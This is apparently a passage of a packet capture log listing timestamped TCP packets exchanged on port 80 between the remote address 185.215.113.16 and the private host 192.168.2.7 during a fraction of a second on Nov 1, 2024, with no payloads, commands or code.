Nov 1, 2024 12:14:38.683357000 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683367968 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683379889 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683403969 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683403969 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683422089 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683448076 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683476925 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683494091 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683506012 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683517933 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683526039 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683540106 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683545113 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683557034 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683567047 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683568001 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683582067 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683593035 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683621883 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683629990 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683641911 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683654070 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683666945 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683670998 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683684111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683696032 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683710098 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683720112 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683721066 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683753014 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683768988 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683794022 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683805943 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683819056 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683844090 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683877945 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683888912 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683901072 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683913946 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683929920 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683948040 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683964968 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684010983 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684022903 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684035063 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684047937 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684057951 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684060097 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684070110 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684099913 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684117079 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684129000 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684140921 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684154987 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684186935 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684199095 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684210062 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684221029 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684233904 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684252977 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684267044 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684333086 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684345007 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684356928 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684370041 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684382915 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684391975 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684400082 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684415102 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684427977 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684427977 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684436083 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684468985 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684533119 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684545040 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684556007 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684581995 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684603930 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684619904 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684633017 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684644938 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684657097 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684659958 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684695005 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684711933 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684726000 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684737921 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684748888 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684762001 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684776068 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684797049 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684815884 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684815884 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684839964 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684851885 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684864044 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684875965 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684878111 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684889078 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.684890032 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684911966 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.684936047 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.686074972 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.686088085 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.686099052 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.686130047 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.686140060 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.686142921 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.686156034 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.686168909 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.686168909 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.686181068 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.686209917 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.686264038 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.686275959 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.686286926 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.686301947 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.686310053 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.686315060 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.686327934 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.686336994 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.686342001 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.686362028 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.686376095 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.686378002 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.686392069 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.686403990 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.686414957 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.686418056 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.686429024 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.686450005 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.836822987 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.836870909 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.836894035 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.836908102 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.836954117 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.836966038 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.836980104 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.836991072 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837003946 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837028980 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837054968 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837064028 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837068081 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837141991 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837157011 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837160110 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837173939 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837184906 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837204933 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837219000 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837219000 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837232113 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837244034 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837268114 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837276936 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837290049 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837301970 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837321997 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837327957 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837333918 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837344885 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837364912 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837378979 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837408066 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837408066 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837428093 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837548018 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837599039 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837605953 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837611914 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837656975 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837656975 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837675095 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837692022 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837704897 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837738991 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837738991 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837774038 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837795019 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837805986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837832928 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837846994 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837852955 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837860107 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837886095 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837903023 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837904930 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837904930 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837918043 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837938070 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837940931 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837958097 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837969065 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837981939 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.837985039 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.837994099 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838006973 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838012934 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.838036060 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.838047981 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838048935 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.838068008 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838079929 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838090897 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.838120937 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838123083 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.838139057 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838167906 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838181019 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838191986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838191986 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.838192940 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.838212013 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.838241100 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.838571072 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838587999 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838599920 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838650942 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.838650942 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.838655949 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838721037 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.838771105 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838788986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838812113 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838830948 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838840008 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.838840008 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.838841915 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838855982 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838867903 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838867903 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.838881016 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838892937 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838896036 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.838936090 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.838936090 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.838964939 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838977098 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.838989973 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839000940 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839015007 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839029074 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839034081 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839034081 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839076042 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839090109 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839106083 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839117050 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839128971 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839142084 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839153051 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839157104 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839157104 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839164019 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839194059 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839205027 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839209080 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839221954 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839248896 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839261055 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839271069 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839271069 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839274883 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839288950 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839292049 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839339018 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839339018 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839387894 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839401007 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839412928 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839441061 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839464903 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839476109 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839487076 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839504004 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839513063 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839517117 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839530945 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839541912 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839549065 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839561939 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839580059 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839596987 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839606047 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839642048 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839642048 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839698076 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839771032 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839782953 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839792013 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839821100 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839821100 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839845896 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839857101 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839869022 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839879990 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839891911 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839912891 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839912891 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839920998 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839941978 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839941978 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839956045 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839986086 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.839987040 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.839986086 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.840002060 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.840013027 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.840013981 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.840029001 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.840048075 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.840048075 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.840089083 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.840106964 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.840118885 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.840131044 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.840142965 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.840151072 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.840198040 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.840198040 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.840209007 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.840297937 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.840348005 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.840361118 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.840372086 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.840384007 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.840396881 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.840403080 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.840409994 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.840424061 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.840434074 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.840435028 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.840457916 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.840457916 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.840502977 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.841655970 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.841698885 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.841710091 CET	80	49979	185.215.113.16	192.168.2.7
